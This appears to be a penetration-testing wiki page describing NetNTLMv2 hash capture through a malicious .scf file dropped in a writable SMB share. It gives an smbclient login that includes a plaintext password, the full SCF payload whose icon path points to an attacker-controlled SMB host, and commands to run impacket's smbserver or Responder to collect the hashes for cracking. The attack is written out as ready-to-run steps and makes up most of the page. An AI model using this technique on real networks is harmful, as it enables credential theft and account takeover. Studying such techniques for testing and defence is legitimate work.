# SCF Files

Imagine we have write permission to a shared folder, we could use it to save a .scf file, trick a user to access it and obtain its NetNTLMv2 hash. If its password is weak, we could obtain the plain text of it.

## Access to Shared Folder

```bash
smbclient //10.10.10.10/payroll-2024 -U 'freed-om-corp.com\carlos.villamizar%NastAsya4475'
```

## Create SCF file

```powershell
[Shell]
Command=2
IconFile=\\10.10.10.20\mycompartida\quepasomirey.ico
[Taskbar]
Command=ToggleDesktop
```

## Upload SCF file to Shared Folder

<figure><img src="https://344105405-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFJ8sxzGfhnecDpAjrc%2Fuploads%2FbeKxkr4hQOgziRWuZi9b%2Fimage.png?alt=media&#x26;token=b26edabf-03c2-489f-9bf7-59fc175a6d1f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://344105405-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFJ8sxzGfhnecDpAjrc%2Fuploads%2Fpqg9AEnkK2nWb58nYqQm%2Fimage.png?alt=media&#x26;token=c2d798eb-60cf-4da1-bfa0-0aedeb5c9e6a" alt=""><figcaption></figcaption></figure>

## Serve the attacker Shared Folder

```bash
python3 /opt/impacket/examples/smbserver.py mycompartida $(pwd) -smb2support
```

And now we need to wait for an interaction with the payroll-2024 shared folder.

Waiting... ANDD if someone is interacting with the folder we will receive a NetNTLMv2 hash in our mycompartida shared folder.

<figure><img src="https://344105405-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFJ8sxzGfhnecDpAjrc%2Fuploads%2FO0EjT1THjCiL6QZqCCwU%2Fimage.png?alt=media&#x26;token=d69efd4b-258f-4a42-abfc-123d3f4664d5" alt=""><figcaption></figcaption></figure>

## Or using Responder.py

```bash
sudo python3 Responder.py -I eth0
```

Wait and once we detect an interaction with the folder:

<figure><img src="https://344105405-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFJ8sxzGfhnecDpAjrc%2Fuploads%2FNDKz5HujKYSOHLPCpvvW%2Fimage.png?alt=media&#x26;token=953dba4d-a39f-4824-8924-d163c29d1db8" alt=""><figcaption></figcaption></figure>
